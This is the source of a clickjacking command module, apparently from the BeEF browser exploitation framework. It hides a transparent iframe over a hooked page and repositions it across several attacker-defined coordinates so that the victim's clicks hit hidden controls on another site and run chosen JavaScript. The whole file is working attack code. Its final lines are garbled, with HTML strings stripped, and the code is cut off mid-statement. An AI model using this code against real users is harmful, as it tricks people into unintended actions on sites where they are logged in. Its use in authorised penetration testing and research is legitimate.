/* * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { var elems = { outerFrame: "cjFrame", innerFrame: "innerFrame", btn: "persistentFocusBtn" } var clicked = 0; var src = "<%= @iFrameSrc %>"; var secZone = "<%= @iFrameSecurityZone %>"; var sandbox = "<%= @iFrameSandbox %>"; var visibility = "<%= @iFrameVisibility %>"; var clicks = [ {js:"<%= URI.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")}, {js:"<%= URI.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")}, {js:"<%= URI.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")}, {js:"<%= URI.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")}, {js:"<%= URI.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")}, {js:"<%= URI.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")}, {js:"<%= URI.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")}, {js:"<%= URI.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")}, {js:"void(0);", posTop:'-', posLeft:'-'} ] var iframeAttrs = {}; iframeAttrs.src = src; (secZone == "on") ? iframeAttrs.security = "restricted" : ""; (sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : ""; var iframeStyles = {}; iframeStyles.width = "<%= @iFrameWidth %>px"; iframeStyles.height = "<%= @iFrameHeight %>px"; iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0"; iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)"; var innerPos = {}; //initialize iframe innerPos.top = clicks[0].posTop + "px"; innerPos.left = clicks[0].posLeft + "px"; //returns a negative version of a number, or if NaN returns a dash function cleanPos(coordinate) { var iCoordinate = parseInt(coordinate); if (isNaN(iCoordinate)) return "-"; else if (iCoordinate > 0) return (-1 * iCoordinate) return iCoordinate } function init(params, styles, stylesInner, callback) { var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles); var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner); var containerDiv = $j('
').css(container).prependTo('body'); var containerDiv = $j('').appendTo('body'); var innerIframe = $j('